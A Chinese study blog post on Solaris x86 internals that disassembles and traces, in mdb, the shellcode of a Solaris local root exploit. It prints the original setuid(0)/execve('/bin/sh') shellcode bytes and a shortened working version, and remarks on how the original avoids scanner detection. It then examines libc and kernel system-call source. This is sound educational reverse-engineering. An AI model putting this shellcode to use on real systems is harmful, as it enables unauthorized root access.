Solaris学习笔记(2)

[BKM]编译OpenSolaris系统 和所有的开源软件一样,你可以从网络上下载OpenSolaris的源代码,然后根据自己的需求对源代码进行修改,并使用编译工具将源代码编译成可以update系统的archive文件,然后对系统进行update。下面介绍如何下载源代码,建立编译环境,以及如何编译和更新系统。本文认为读者已经安装了最新的Neveda(onnv_b71)。具体安装过程,参见“Solaris系统安装指南”下载源代码可以 阅读详情

Solaris学习笔记(2)

作者: Badcoffee
Email: blog.oliver@gmail.com
Blog: http://blog.youkuaiyun.com/yayong
2005年7月

1. 一段shell code的分析

最近新发现的一个Solaris的安全漏洞可以使一个非特权用户利用一个很简单的攻击程序得到系统的root权限,为了不让用Solaris系统的人遭暗算,具体细节就不说了。毕竟这篇文章不是教别人攻击别人系统的黑客教程:)这里只研究攻击程序里面的一段shell code。

问题:什么是shell code?

要了解shell code,先从缓冲区溢出谈起。

缓冲区溢出是黑客比较常用的攻击手段之一。众所周知,如果向一个有限空间的缓冲区拷贝了过长的字符串,就会覆盖相邻的存储单元。进程的局部变量保存在 stack当中的,一个函数的stack frame相邻的就是调用该函数时保存的返回地址。当发生缓冲区溢出并且覆盖到存储在stack中的函数反回地址,那么当函数执行完毕后就无法正常返回。因为这时返回地址往往是一个无效的地址,在这样的情况下系统一般报告: “core dump”或“segment fault”。如果这种缓冲区溢出经过精心的计算,使得溢出后覆盖到返回地址的那个地址指向我们写的一段机器指令序列,那么这个进程的流程就会被改变,从而由我们来控制。

多数情况下,这段精心设计的指令一般的目的是执行“/bin/sh”,从而得到一个shell,因此这段代码被称为:“shell code”。如果被溢出程序是一个suid root程序,得到的将是一个root shell,这样整个机器就因为缓冲区溢出而被完全控制了。

关于缓冲区溢出,aleph one的Smashing The Stack For Fun And Profit做入门教程不错,可以看看。

为方便分析,我们把这段shell code单独拿出来,放到一个非常简单的c程序里研究。

下面是test1.c的源代码:
static char sh[] = "/x31/xc0/xeb/x09/x5a/x89/x42/x01/x88/x42/x06/xeb/x0d/xe8/xf2/xff/xff/xff/x9a/x01/x01/x01/x01/x07/x01/xc3/x50/xb0/x17/xe8/xf0/xff/xff/xff/x31/xc0/x68/x2f/x73/x68/x5f/x68/x2f/x62/x69/x6e/x88/x44/x24/x07/x89/xe3/x50/x53/x8d/x0c/x24/x8d/x54/x24/x04/x52/x51/x53/xb0/x0b/xe8/xcb/xff/xff/xff";

int main() {
void (*f)();
f = (void*)sh;
f();
return 0;
}

这里用函数指针指向字符数组sh,sh包含了整段shell code。main函数中通过对一个指向sh的函数指针的调用,从而使shell code得到执行。可以看到,程序运行后,当前的shell由bash变为了sh:
bash-3.00# gcc test1.c -o test1
bash-3.00# ./test1
# <--- 提示符改变,说明/bin/sh已经被运行,shell code执行成功

下面我们就反汇编分析这段代码。由于这段shell code在数据段,且不是一个函数定义,因此用mdb反汇编比用dis更直观一些:
# mdb ./test1

> main::dis
main: pushl %ebp
main+1: movl %esp,%ebp ---> 建立main函数的Stack Frame
main+3: subl $0x8,%esp
main+6: andl $0xfffffff0,%esp
main+9: movl $0x0,%eax
main+0xe: addl $0xf,%eax
main+0x11: addl $0xf,%eax
main+0x14: shrl $0x4,%eax
main+0x17: shll $0x4,%eax
main+0x1a: subl %eax,%esp ---> main+3至main+0x1a的作用使main函数的栈对齐
main+0x1c: movl $0x8060a40,-0x4(%ebp) ---> 把数据段的sh的地址赋值给函数指针
main+0x23: movl -0x4(%ebp),%eax
main+0x26: call *%eax ---> 调用shell code
main+0x28: movl $0x0,%eax
main+0x2d: leave
main+0x2e: ret
> 0x8060a40=p ---> 将地址转换为符号
test1`sh ---> 可以看到,该地址就是sh的起始地址
> sh,1a/ai
test1`sh:
test1`sh: xorl %eax,%eax
test1`sh+2: jmp +0xb ---> 1. 向前跳转到地址test1`sh+0xd
test1`sh+4: popl %edx ---> 3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall $0x7,$0x0
test1`sh+0xb: jmp +0xf ---> 5. 向前跳转到地址test1`sh+0x1a
test1`sh+0xd: call -0x9 ---> 2. 向后调用到地址test1`sh+4指令,同时下条指令lcall的地址test1`sh+0x12将作为返回地址压栈
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 9. 步骤4中已经将lcall指令修改为lcall $0x7,$0x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
test1`sh+0x19: ret ---> 10.从setuid系统调用返回后,再执行返回指令会使xorl指令地址test1`sh+0x22从栈中弹出到eip中,使cpu从xorl处执行
test1`sh+0x1a: pushl %eax ---> 6. 此时eax寄存器的值是0,将0压栈是为构造setuid调用的入口参数,并且其值为0,即root的id
test1`sh+0x1b: movb $0x17,%al ---> 7. 把setuid的系统调用号0x17放入到eax,是Solaris系统调用的要求
test1`sh+0x1d: call -0xb ---> 8. 向后调用地址test1`sh+0x12指令,此时lcall指令已经被修改了(见步骤4),同时将下条xorl指令的地址test1`sh+0x22压栈
test1`sh+0x22: xorl %eax,%eax ---> 11.用xorl指令来给eax寄存器内容清零,常见的快速清零指令
test1`sh+0x24: pushl $0x5f68732f
test1`sh+0x29: pushl $0x6e69622f ---> 12.test1`sh+0x24和test1`sh+0x29将8个字符"/bin/sh_"压入栈中
test1`sh+0x2e: movb %al,0x7(%esp) ---> 13.修改前面压入栈中的第8个字符,改为寄存器al中的值,即0;此时8个字符形成以"/0"结尾的字符串:"/bin/sh"
test1`sh+0x32: movl %esp,%ebx ---> 14.将栈顶esp地址移入ebx,即“/bin/sh"串的地址存入ebx寄存器
test1`sh+0x34: pushl %eax ---> 15.将0压栈,这是exec的调用的第2个参数的第2个元素地址
test1`sh+0x35: pushl %ebx ---> 16.将ebx内容压栈,即将"/bin/sh"串的地址压栈,这是exec调用的第2个参数的第一个元素的地址
test1`sh+0x36: leal (%esp),%ecx ---> 17.将栈顶esp的地址存入ecx,即"/bin/sh"串的地址的地址存入ecx
test1`sh+0x39: leal 0x4(%esp),%edx ---> 18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义
test1`sh+0x3d: pushl %edx ---> 19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
test1`sh+0x3e: pushl %ecx ---> 20.将ecx压栈,即将“/bin/sh"串地址的地址压入栈;这是exec调用的第2个参数
test1`sh+0x3f: pushl %ebx ---> 21.将ebx内容压栈,即"/bin/sh"串的地址压栈,这是exec调用的第1个参数
test1`sh+0x40: movb $0xb,%al ---> 22.将exec的系统调用号0xb放入eax寄存器,这是Solaris系统调用的要求
test1`sh+0x42: call -0x30 ---> 23.向后调用test1`sh+0x12地址处的指令,即lcall $0x7,$0x0,调用exec系统调用

关于main函数的栈对齐及Stack Frame的概念,可以参考X86汇编语言学习手记(1)。
一般而言一个shell code至少要利用exec(2)类的系统调用来获得一个shell,但又不能依赖于任何共享库,甚至是libc库。因此shell code必须要绕过libc对系统调用的包装来直接调用操作系统提供的系统调用服务。在Solaris上,支持的系统调用的指令有5种:

lcall $0x7,$0x0    ---> 调用门,最古老的方式,现在保留是为了向前兼容
lcall $0x27,$0x0   ---> 调用门,Solaris 10以前,在不支持快速系统调用的x86机器上使用的系统调用方式
int $0x91          ---> 陷阱门,OpenSolaris在不支持快速系统调用的x86机器上使用的系统调用方式
sysenter           ---> 快速系统调用指令,Solaris 10在Intel和AMD的32位模式下的系统调用方式
syscall            --->
快速系统调用指令,Solaris 10在Intel和AMD的64位模式下的系统调用方式

关于Solaris的系统调用,请参考阅读笔记: x86系统调用入门。

可以在这段shell code反汇编的结果里找到lcall指令:
test1`sh+0x12:  lcall  $0x107,$0x1010101     ---> 9. 步骤4中已经将lcall指令修改为lcall $0x7,$0x0,新的lcall的作用是通过调用门进入Solaris内核执行系统调用
虽然这个lcall指令并没有调用$0x7和$0x27,但是如果用mdb来跟踪一下,就会发现,原来在程序运行过程中这条lcall指令会被动态修改成为
lcall $0x7,$0x0
具体的修改指令如下:
test1`sh+4:     popl   %edx                  ---> 3. 将lcall指令的地址从栈中弹出到edx
test1`sh+5: movl %eax,0x1(%edx)
test1`sh+8: movb %al,0x6(%edx) ---> 4. test1`sh+5和test1`sh+8将会把lcall指令修改成Solaris的标准的系统调用指令lcall $0x7,$0x0
在调用系统调用的指令之前,Solaris要求把系统调用号存入eax寄存器,因此,我们可以根据lcall执行前的eax的值查到这段shell code究竟使用了哪些系统调用:
# vi /etc/name_to_sysnum
........
exec 11 ---> 16进制的0xb
........
setuid 23 ---> 16进制的0x17
........
如果读过阅读笔记:如何给OpenSolaris增加一个系统调用这篇文章就知道,在内核中维护着一张系统调用号和内核处理函数指针的表。就在sysent.c里的sysent结构中可以找到相关的定义:

/* 11 */ SYSENT_CI("exec", exec, 2),

/* 23 */ SYSENT_CI("setuid", setuid, 1),

因此可以很容易的找到内核中exec调用的入口函数,就在usr/src/uts/common/os/exec.c中:
/*
* exec() - wrapper around exece providing NULL environment pointer
*/
int
exec(const char *fname, const char **argp)
{
return (exece(fname, argp, NULL)); ---> 调用了内核中的另一个入口点exece,该入口对应用户层libc中的execve函数。
}
同样的,setuid调用的入口函数,就在usr/src/uts/common/syscall/uid.c中:
 int
setuid(uid_t uid)
{
........

}
现在我们知道这段shell code使用了系统调用setuid(2)和exec(2),在用户层setuid的定义是:
int setuid(uid_t uid);
但用户层却找不到名字与exec相同的函数定义,只有execv的参数和内核函数exec最接近:
int execv(const char *path, char *const argv[]);
把这段shell code对应成c语言,大概是如下形式:
# vi test2.c

#include <sys/types.h>
#include <unistd.h>

int main()
{
char *argv[2]={"/bin/sh", NULL};
setuid(0);
execv(argv[0],argv);
return 0;
}
如果将test2.c和libc.a静态链接起来,就可以得到进入系统调用的汇编指令,但是Solaris 10已经不提供libc.a了。

下面就用mdb来跟踪一下整个shell code的执行过程:

> main+0x26:b ---> 设置断点
> test1`sh+0xd:b ---> 设置断点
> :r ---> 运行test1
mdb: stop at main+0x26
mdb: target stopped at:
main+0x26: call *%eax ---> test1运行到断点main+0x26处,停止,下句指令就要调用shell code
> :c ---> 继续运行
mdb: stop at test1`sh+0xd
mdb: target stopped at:
test1`sh+0xd: call -0x9 <test1`sh+4> ---> 断点处停止
> <esp,10/nap;<eax=X; ---> 输出当前Stack的内容和eax寄存器的值
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0 ---> 此时eax的值为0
> :s;<esp,10/nap;<eax=X; ---> 单步运行,并输出Stack和eax寄存器的值
mdb: target stopped at:
test1`sh+4: popl %edx
0x8047438:
0x8047438: test1`sh+0x12 ---> 根据注释2,lcall指令的地址被压栈
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;<esp,10/nap;<eax=X;<edx=X ---> 单步运行,输出Stack和eax及edx的内容
mdb: target stopped at:
test1`sh+5: movl %eax,0x1(%edx) ---> 根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c: main+0x28 ---> 根据注释3,lcall指令地址被弹出,栈顶恢复到原来的值
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
8060a52 ---> 这是edx寄存器的值
> 8060a52/ai ---> 将edx指向的内容转换成汇编指令
test1`sh+0x12:
test1`sh+0x12: lcall $0x107,$0x1010101 ---> 恰好是edx指向的恰好是lcall指令,正如注释3所说
> :s;<esp,10/nap;<eax=X;<edx=p ---> 单步运行,输出Stack和eax的值,输出edx的值,edx值按地址显示
mdb: target stopped at:
test1`sh+8: movb %al,0x6(%edx) ---> 根据注释4,这条指令将会修改lcall指令
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12 ---> edx的内容已经按地址显示,正好是lcall指令的地址
> test1`sh+0x12/ai ---> 将地址处的二进制数转换指令
test1`sh+0x12:
test1`sh+0x12: lcall $0x107,$0x0 ---> 注意,lcall指令已经被修改了一部分
> :s;<esp,10/nap;<eax=X;<edx=p
mdb: target stopped at:
test1`sh+0xb: jmp +0xf <test1`sh+0x1a>
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
test1`sh+0x12
> test1`sh+0x12/ai
test1`sh+0x12:
test1`sh+0x12: lcall $0x7,$0x0 ---> 至此,lcall指令修改完毕,正好是Solaris的系统调用的指令
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1a: pushl %eax
0x804743c:
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0x8047478: 1
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1b: movb $0x17,%al
0x8047438:
0x8047438: 0 ---> 根据注释6,这是setuid调用的第一个参数
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x1d: call -0xb <test1`sh+0x12>
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
17 ---> 根据注释7,setuid的系统调用号已经被存入eax
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x12: lcall $0x7,$0x0 ---> 进入setuid系统调用前夕,调用号和调用入口参数已准备好
0x8047434:
0x8047434: test1`sh+0x22 ---> 根据注释8,我们看到,setuid返回后的地址被压栈
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
17
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x19: ret
0x8047434:
0x8047434: test1`sh+0x22 ---> 根据注释10,执行返回指令后,该地址将被弹出到eip
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0
> :s;<esp,10/nap;<eax=X;
mdb: target stopped at:
test1`sh+0x22: xorl %eax,%eax ---> 返回到了前面弹出栈的地址,马上要执行清零,见注释11
0x8047438:
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0x8047470: 0
0x8047474: 0
0

> test1`sh+0x2e:b
> :c
mdb: stop at test1`sh+0x2e
mdb: target stopped at:
test1`sh+0x2e: movb %al,0x7(%esp)
> <esp,10/nap;<eax=X;
0x8047430:
0x8047430: 0x6e69622f ---> 这时注释12所描述的被压入栈的"/bin/sh_"
0x8047434: 0x5f68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
0x804745c: 0x8047470
0x8047460: _start+0x80
0x8047464: 1
0x8047468: 0x804747c
0x804746c: 0x8047484
0
> 0x8047430/s ---> 将当前栈顶的内容按字符串输出,可以看到正如注释12描述的情形
0x8047430: /bin/sh_
> test1`sh+0x42:b
> :c
mdb: stop at test1`sh+0x42
mdb: target stopped at:
test1`sh+0x42: call -0x30 <test1`sh+0x12> ---> 即将调用exec系统调用,我们可以检查是否准备好入口参数和调用号
> <esp,10/nap;<eax=X;
0x804741c:
0x804741c: 0x8047430
0x8047420: 0x8047428
0x8047424: 0x804742c
0x8047428: 0x8047430
0x804742c: 0
0x8047430: 0x6e69622f
0x8047434: 0x68732f
0x8047438: 0
0x804743c: main+0x28
0x8047440: libc.so.1`_fpstart+0x29
0x8047444: 0x8050872
0x8047448: 0x80608dc
0x804744c: 0x8047438
0x8047450: 0x804745c
0x8047454: _init+0x1a
0x8047458: test1`sh
b ---> 这是exec的调用号,已经存入eax
> 0x8047430/s
0x8047430: /bin/sh ---> exec第一个参数:const char *fname
> 0x8047428/X
0x8047428: 0x8047430 ---> exec第二个参数:const char **argp
> 0x8047430/s
0x8047dc0: /bin/sh ---> exec第二个参数的第一个元素:argp[0]
> 0x8047438/X
0x8047438: 0 ---> exec第二个参数第二个元素: argp[1]
>
> :s
mdb: target stopped at:
test1`sh+0x12: lcall $0x7,$0x0


从上面可以清楚地看到,以Solaris的lcall方式进入系统调用前,需要具备如下条件:
1. 系统调用的入口参数要从右至左顺序压入栈中。
2. 系统调用号要存入eax寄存器。

不清楚为何这段shell code不直接调用lcall $0x07,$0x0,而是运行过程中再修改?
也不清楚为何"/bin/sh"字符串不直接压入栈,而是运行中由"/bin/sh_"来修改得到?

在Unix/Linux下,如何写shell code可以参考Writing Linux/x86 shellcodes for dum dums这篇文章。
这篇文章中提到,一种检测攻击代码的方法是查找像"/bin/sh"一类的字符串,并给出了如何逃过这种检测的例子。本篇文章的shell code大费周章的做法,也许就是为了逃避安全扫描程序的检测吧。如果这种扫描程序真的是以/bin/sh和lcall $0x7,$0x0来扫描可疑程序,真的会失手呢。

2. 简化这段shell code

这种运行中动态修改指令的做法恐怕也只能是在缓冲区溢出的攻击中做到,因为一般的程序是在代码段中的,而代码段是只读的,如果运行zh过程中修改自己的指令部分,将会因SIGFAULT的错误而core dump。前面的例子中,test1恰好是把shell code放到了数据段,数据段是可读写的,因此这段shell code才能运行。

我们可以用elfdump来查看test1,可以看到sh属于数据段.data:
# elfdump test1 | grep sh
...................
[48] 0x08060a40 0x00000048 OBJT LOCL D 0 .data sh
...................

如果那些运行时修改指令的语句是为了躲避扫描程序检测,那完全可以去掉这些语句,来简化这段shell code。
另外,可以根据内核中exec的参数个数判断,test1中的下面的语句没有实际意义,可以去掉:
test1`sh+0x39:  leal   0x4(%esp),%edx        ---> 18.将栈的esp+4的地址存入edx,即把步骤15压入栈的0的地址存入edx。本条指令没有实际意义
test1`sh+0x3d: pushl %edx ---> 19.将edx压栈,即将栈中“0”的地址压入栈;本条指令没有实际意义
基于前面test1的反汇编的结果,去掉上面提到的语句后,我们可以得到一段汇编程序:
# vi test3.s

.text
.globl main
.type main, @function
main:
xorl %eax,%eax
jmp 2f
1:
lcall $0x07,$0x0
ret
2:
pushl %eax
movb $0x17,%al
call 1b
xorl %eax,%eax
pushl $0x0068732f
pushl $0x6e69622f
movl %esp,%ebx
pushl %eax
pushl %ebx
leal (%esp),%ecx
pushl %ecx
pushl %ebx
movb $0xb,%al
call 1b
.size main, .-main

汇编编和链接生成二进制文件。可以看到,shell code是在main函数中,属于代码段:

# as test3.s -o test3.o
# ld test3.o -o test3
# elfdump test3 | grep main
[4] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
[17] 0x080501d4 0x00000030 FUNC GLOB D 0 .text main
5 [4] main

用dis来反汇编main函数,就可以得到新的shell code的机器码了:

# dis -F main ./test3
**** DISASSEMBLER ****
disassembly for ./test3

section .text
main()
main: 33 c0 xorl %eax,%eax
main+0x2: eb 08 jmp +0xa
main+0x4: 9a 00 00 00 00 07 00 lcall $0x7,$0x0
main+0xb: c3 ret
main+0xc: 50 pushl %eax
main+0xd: b0 17 movb $0x17,%al
main+0xf: e8 f0 ff ff ff call -0xb
main+0x14: 33 c0 xorl %eax,%eax
main+0x16: 68 2f 73 68 00 pushl $0x68732f
main+0x1b: 68 2f 62 69 6e pushl $0x6e69622f
main+0x20: 8b dc movl %esp,%ebx
main+0x22: 50 pushl %eax
main+0x23: 53 pushl %ebx
main+0x24: 8d 0c 24 leal (%esp),%ecx
main+0x27: 51 pushl %ecx
main+0x28: 53 pushl %ebx
main+0x29: b0 0b movb $0xb,%al
main+0x2b: e8 d4 ff ff ff call -0x27

如果运行test3,会起到和test1一样的效果。完全可以用反汇编出的机器码代替那个攻击程序中原来的shell code定义:
static char sh[] =
"/x31/xc0/xeb/x08/x9a/x00/x00/x00/x00/x07/x00/xc3/x50/xb0/x17/xe8/xf0/xff/xff/xff/x31/xc0/x68/x2f/x73/x68/x00/x68/x2f/x62/x69/x6e/x89/xe3/x50/x53/x8d/x0c/x24/x51/x53/xb0/x0b/xe8/xcf/xff/xff/xff";

当然,把这段shell code拿到攻击程序中验证了一下,确实依旧具有杀伤力。但是,这个新的shell code短了十几个字节。

3. 更进一步

到目前为止,前面所有的过程都是通过mdb和dis反汇编后,在汇编代码一级的分析。既然Solaris已经Open Source了,为什么不直接从源代码里印证一下呢?

首先,我们验证一下Solaris进入到系统调用的方式,在 usr/src/lib/libc目录下,我们可以找到libc实现的源代码。该目录下按照libc函数和硬件的相关性分了很多目录,setuid(2)和exec(2)看起来和硬件没有什么相关,应该在common目录下,common只有一个子目录sys,所以不难找到这两个系统调用在libc的源文件setuid.s和execve.s。

下面是setuid在libc 的实现片断:
#include "SYS.h"

ANSI_PRAGMA_WEAK2(_private_setuid,_setuid,function)
SYSCALL_RVAL1(setuid)
RETC
SET_SIZE(setuid)

由于exec调用在libc中没有对应的实现,而与之参数形式最接近的execv(2)实际上只是在execve(2)上包装了一下,最终还是调用的execve。因此在这里我们考察execve在libc的实现片断:
#include "SYS.h"

ANSI_PRAGMA_WEAK2(_private_execve,execve,function)
SYSCALL_RVAL1(execve)
SET_SIZE(execve)

这两个系统调用在libc是用汇编实现的,但其中的汇编语句已经被宏定义所代替,在usr/src/uts/intel/ia32/sys/asm_linkage.h中可以找到一般的IA32体系结构的汇编的宏定义。ANSI_PRAGMA_WEAK2 这个宏的的定义如下:
/*
* Like ANSI_PRAGMA_WEAK(), but for unrelated names, as in:
* #pragma weak sym1 = sym2
*/

#define ANSI_PRAGMA_WEAK2(sym1, sym2, stype) /
.weak sym1; /
.type sym1, @stype; /
sym1 = sym2

这里面用到的相关语法及伪指令可以参考x86 Assembly Language Reference Manual。

如果看注释的话,不难了解,其实这个宏的作用就是符号定义,给系统调用定义了weak类型的符号别名,相当于ANSI C的:
#pragma weak sym1 = sym2
用nm命令可以验证一下这个宏的实际作用:
# nm /lib/libc.so.1  | grep setuid
[712] | 647744| 21|FUNC |LOCL |2 |10 |_private_setuid
[6643] | 647744| 21|FUNC |GLOB |0 |10 |_setuid
[6473] | 647744| 21|FUNC |WEAK |0 |10 |setuid
可以看到,_private_setuid和_setuid及setuid是多个符号对应着同一个函数。

用nm也可以验证libc中确实没有exec的定义,由于输出很多,这里就不列出了:
# nm /lib/libc.so.1  | grep exec
SET_SIZE 这个宏的作用是定位函数并为ELF文件的符号表指示长度,其实展开就是Solaris汇编器的伪指令.size:
#define	SET_SIZE(x) /
285 .size x, [.-x]
RETC这个宏是用来定义系统调用的返回指令,在libc的源代码SYS.h中,可以找到如下定义:
/*
* Syscall return sequence with return code forced to zero.
*/
#define RETC /
xorl %eax, %eax; /
ret
可以看到注释中的说明,RETC的宏在返回前将return code强制设为0。

为什么libc的execve的实现中没有返回指令呢?

这个问题相信不难解答。实际上execve系统调用一旦执行成功,就会把调用该调用的进程覆盖掉,因此,也就不存在返回的问题了。

这里我们略过其它宏,只研究关心的部分,即SYSCALL_RVAL1这个宏。在libc的源代码SYS.h有一系列宏定义:

#if defined(_SYSC_INSN)                             --->兼容AMD64位的系统
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL2(name) __SYSCALL(name)
#define SYSTRAP_2RVALS(name) __SYSCALL(name)
#define SYSTRAP_64RVAL(name) __SYSCALL(name)
#else /* _SYSC_INSN */
#if defined(_SEP_INSN) --->兼容IA32的支持快速系统调用的系统
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#else /* _SEP_INSN */
#define SYSTRAP_RVAL1(name) __SYSCALLINT(name)
#endif /* _SEP_INSN */
#define SYSTRAP_RVAL2(name) __SYSCALLINT(name)
#define SYSTRAP_2RVALS(name) __SYSCALLINT(name)
#define SYSTRAP_64RVAL(name) __SYSCALLINT(name)
#endif /* _SYSC_INSN */

在i386_hwcap1及i386_hwcap2源代码目录下的Makefile文件中针对AMD64和IA32的支持快速系统调用的CPU分别定义了如下的宏:

_SYSC_INSN--兼容AMD64位的系统,使用syscall作为快速系统调用指令,对应libc的hwcap2版本
_SEP_INSN--兼容IA32的支持快速系统调用的系统,使用sysenter作为快速系统调用指令,对应libc的hwcap1版本

因此,Solaris除了系统会提供标准的libc版本外,还会有相应的硬件优化版本,分别是支持__SYSCALL()的hwcap2版本或者使用 __SYSENTER()的 hwcap1版本。

而在标准的libc库的Makefile因为没有定义上面提到的两个宏,因此SYSCALL_RVAL1就是__SYSCALLINT了:
#define    __SYSCALLINT(name)        /
/* CSTYLED */ /
movl $SYS_/**/name, %eax; /
int $T_SYSCALLINT
在usr/src/uts/intel/ia32/sys/trap.h中,可以找到T_SYSCALLINT的值:
#define	T_SYSCALLINT	0x91	/*	general system call		*/
可以看到,OpenSolaris标准的libc用的是int $0x91的方式。
很可惜在SYS.h中已经找不到lcall的方式了。在阅读笔记: x86系统调用入门中可以知道,OpenSolaris的标准libc库已经用int $0x91全面取代lcall的方式,这种方式和Linux的int $0x80是类似的。在这篇文章中,我们可以找到SYS.h原来的影子:

rab> pwd.../usr/src/lib/libc/i386/incrab
> grep SYSTRAP_RVAL1 SYS.h
#define SYSTRAP_RVAL1(name) __SYSCALL(name)
#define SYSTRAP_RVAL1(name) __SYSENTER(name)
#define SYSTRAP_RVAL1(name) __SYSLCALL(name)

#define __SYSLCALL(name) /
/* CSTYLED */ /
movl $SYS_/**/name, %eax; /
lcall $SYSCALL_TRAPNUM, $0

当然,不论是哪一种方式,在调用系统调用之前,都会把SYS_/**/name的宏存入eax寄存器。根据系统调用的名字不同,name要被替换成相应的调用名字,对于setuid和execve,可以在syscall.h找到定义:
#define	SYS_setuid	23   ---> 这个值就是16进制的0x17
#define SYS_execve 59 ---> 这个值不是0xb,说明execve和exec是两个不同的系统调用
就在sysent.c里的sysent结构中可以找到调用号59对应的入口:
        /* 59 */ SYSENT_CI("exece",		exece,		3),        
原来内核中另外还有一个exece的入口点,来支持libc中的execve进入系统调用。如前所述,内核中的exec函数是调用号11的入口点,再回头看它的代码,实际上它就是直接在内核中调用exece来实现的。

我们可以用mdb来反汇编libc的系统调用,验证一下。由于P4的CPU支持快速系统调用指令sysenter,因此Solaris默认会把 libc_hwcap1.so.1 mount在/lib/libc.so.1上,因此,要观察标准的libc库,需要先umount libc:
# df -h
Filesystem size used avail capacity Mounted on
/dev/dsk/c0d0s0 11G 4.3G 6.2G 42% /
objfs 0K 0K 0K 0% /system/object
/usr/lib/libc/libc_hwcap1.so.1
11G 4.3G 6.2G 42% /lib/libc.so.1 ---> 可以看到libc_hwcap1.so.1 mount在了这里
swap 872M 8K 872M 1% /tmp
swap 872M 28K 872M 1% /var/run
